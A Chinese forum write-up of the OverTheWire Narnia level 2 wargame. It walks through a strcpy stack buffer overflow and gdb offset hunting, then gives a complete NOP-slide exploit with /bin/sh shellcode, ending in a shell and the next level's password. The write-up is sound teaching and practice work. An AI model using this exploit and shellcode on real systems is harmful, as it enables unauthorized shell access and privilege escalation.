narnia2的源码如下
/* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char * argv[]){ char buf[128]; if(argc == 1){ printf("Usage: %s argument\n", argv[0]); exit(1); } strcpy(buf,argv[1]); printf("%s", buf); return 0; }
程序一开始就判断启动时是否输入了参数,如果是则获取程序执行时的参数,再将参数写入字符串中,但是并没有对输入的长度做判断,所以就可以写一个足够长的字符串来覆盖返回地址,执行结果如下
narnia2@narnia:/narnia$ gdb -q ./narnia2 Reading symbols from ./narnia2...(no debugging symbols found)...done. (gdb) r $(python -c 'print "\x43"*136') Starting program: /narnia/narnia2 $(python -c 'print "\x43"*136') Program received signal SIGSEGV, Segmentation fault. 0x43434343 in ?? () (gdb)
显然这里是成功接收到了43,因为128+4+4=136;这里并没有出现教程上的每16位对齐的问题,不过我还是要提一句,以免不同机器上的执行结果不同,而新人也不知道这么查原因(之所以没另写一篇番外篇的原因是关于这个的知识全都是理论的,比较少,另开一篇不讲究),在x86架构下的系统会使用一种叫SIMD(单指令多数据)的指令集,这种指令集可以对同一组数据的每一条分别执行相同的操作,进而实现了空间上的并行,但是正如之前说的是同一组的数据,因为执行的操作相同,所以数据的长度也必须相同,于是指令集便规定每条数据的长度必须是16(0xf)或者16的倍数,比这种指令集更优秀的是英伟达研发的SIMT(单指令多线程)指令集,这种指令集并不要求每条数据的长度相同,但这不是本文的重点;接下来,为了能获取到root,要用到一种叫nop_slide(我将它成为nop滑板)的小技巧,简单的来说就是先构造一段很长的\x90(nop指令对应的十六进制码),长到能一眼就看到这是人为构造的nop,然后在接上在narnia1番外篇里构造的shellcode,最后加上nop的指令地址(gdb调试获得),最关键的是这三段加起来不能超过之前算出的136字节,先算出shellcode的长度,如下
root@gavin:/home/gavin/shellCode_train# getshellcode shellx \xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 root@gavin:/home/gavin/shellCode_train# python Python 2.7.15rc1 (default, Nov 12 2018, 14:31:15) [GCC 7.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> len("\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68") 38
136-38-4=94,这里的4是要跳转的地址的4个字节,94是要构造的nop的长度,但是我们还没得到要跳转的4字节的地址,所以要用GDB调一下,如下
narnia2@narnia:/narnia$ gdb -q narnia2 Reading symbols from narnia2...(no debugging symbols found)...done. (gdb) r $(python -c 'print "\x90"*94+"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"\x43\x43\x43"') The program being debugged has been started already. Start it from the beginning? (y or n) r Please answer y or n. The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /narnia/narnia2 $(python -c 'print "\x90"*94+"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"\x43\x43\x43"') Program received signal SIGSEGV, Segmentation fault. 0x00434343 in ?? () (gdb) x/150x $esp 0xffffd640: 0x00000002 0xffffd6d4 0xffffd6e0 0x00000000 0xffffd650: 0x00000000 0x00000000 0xf7fc5000 0xf7ffdc0c 0xffffd660: 0xf7ffd000 0x00000000 0x00000002 0xf7fc5000 0xffffd670: 0x00000000 0xddc32b90 0xe72b2780 0x00000000 0xffffd680: 0x00000000 0x00000000 0x00000002 0x08048350 0xffffd690: 0x00000000 0xf7fee710 0xf7e2a199 0xf7ffd000 0xffffd6a0: 0x00000002 0x08048350 0x00000000 0x08048371 0xffffd6b0: 0x0804844b 0x00000002 0xffffd6d4 0x080484a0 0xffffd6c0: 0x08048500 0xf7fe9070 0xffffd6cc 0xf7ffd920 0xffffd6d0: 0x00000002 0xffffd80a 0xffffd81a 0x00000000 0xffffd6e0: 0xffffd8a2 0xffffd8b5 0xffffde71 0xffffdea8 0xffffd6f0: 0xffffdeb7 0xffffdec8 0xffffdedd 0xffffdeea 0xffffd700: 0xffffdef6 0xffffdeff 0xffffdf12 0xffffdf36 0xffffd710: 0xffffdf49 0xffffdf55 0xffffdf6c 0xffffdf7c 0xffffd720: 0xffffdf87 0xffffdf92 0xffffdf9a 0xffffdfaa 0xffffd730: 0x00000000 0x00000020 0xf7fd7c90 0x00000021 0xffffd740: 0xf7fd7000 0x00000010 0x178bfbff 0x00000006 0xffffd750: 0x00001000 0x00000011 0x00000064 0x00000003 0xffffd760: 0x08048034 0x00000004 0x00000020 0x00000005 0xffffd770: 0x00000008 0x00000007 0xf7fd9000 0x00000008 0xffffd780: 0x00000000 0x00000009 0x08048350 0x0000000b 0xffffd790: 0x000036b2 0x0000000c 0x000036b2 0x0000000d 0xffffd7a0: 0x000036b2 0x0000000e 0x000036b2 0x00000017 0xffffd7b0: 0x00000001 0x00000019 0xffffd7eb 0x0000001a 0xffffd7c0: 0x00000000 0x0000001f 0xffffdfe8 0x0000000f 0xffffd7d0: 0xffffd7fb 0x00000000 0x00000000 0x00000000 0xffffd7e0: 0x00000000 0x00000000 0x49000000 0xd530520b 0xffffd7f0: 0x55379137 0xb0c196c4 0x692c9756 0x00363836 0xffffd800: 0x00000000 0x00000000 0x6e2f0000 0x696e7261 0xffffd810: 0x616e2f61 0x61696e72 0x90900032 0x90909090 0xffffd820: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd830: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd840: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd850: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd860: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd870: 0x90909090 0x90909090 0x315e18eb 0x074688c0 0xffffd880: 0x5e891e8d 0x084e8d08 0x8d0c4689 0x0bb00c56 0xffffd890: 0xe3e880cd 0x2fffffff (gdb)
果然94个0x90(nop)很显眼,而后面紧跟的就是我们构造的shellcode,只要能执行就可以得到root了,但是要注意的是,如果程序开了NX保护,这种方法就没效果了,所以记得做提前先查查开了什么保护;这里选择要跳转的指令之前注意所有字符串都是以0x00结尾的,所以在nop和shellcode之间不能有0x00,不然strcpy就不能把完整的exp写到内存里去了;因为有很长的nop,所以这里选择比较多,我选的是0xffffd850,执行结果如下
narnia2@narnia:/narnia$ ./narnia2 $(python -c 'print "\x90"*94+"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"\x50\xd8\xff\xff"') $ whoami narnia3 $ cat /etc/narnia_pass/narnia3 vaequeezee $
小结
注意这里调试最好在wargame的靶机上进行,不然可能会出现Linux版本不同而导致的运行结果不同的问题,至少我在我的Ubuntu18.04中运行exp无法成功但是靶机上成功了
附件是narnia2的可执行代码和narnia2的源码
靶机地址是narnia.labs.overthewire.org:2226
初始账号密码都是narnia0,就就像闯关一样,玩家必须一个一个来
最后于 2天前 被pureGavin编辑 ,原因: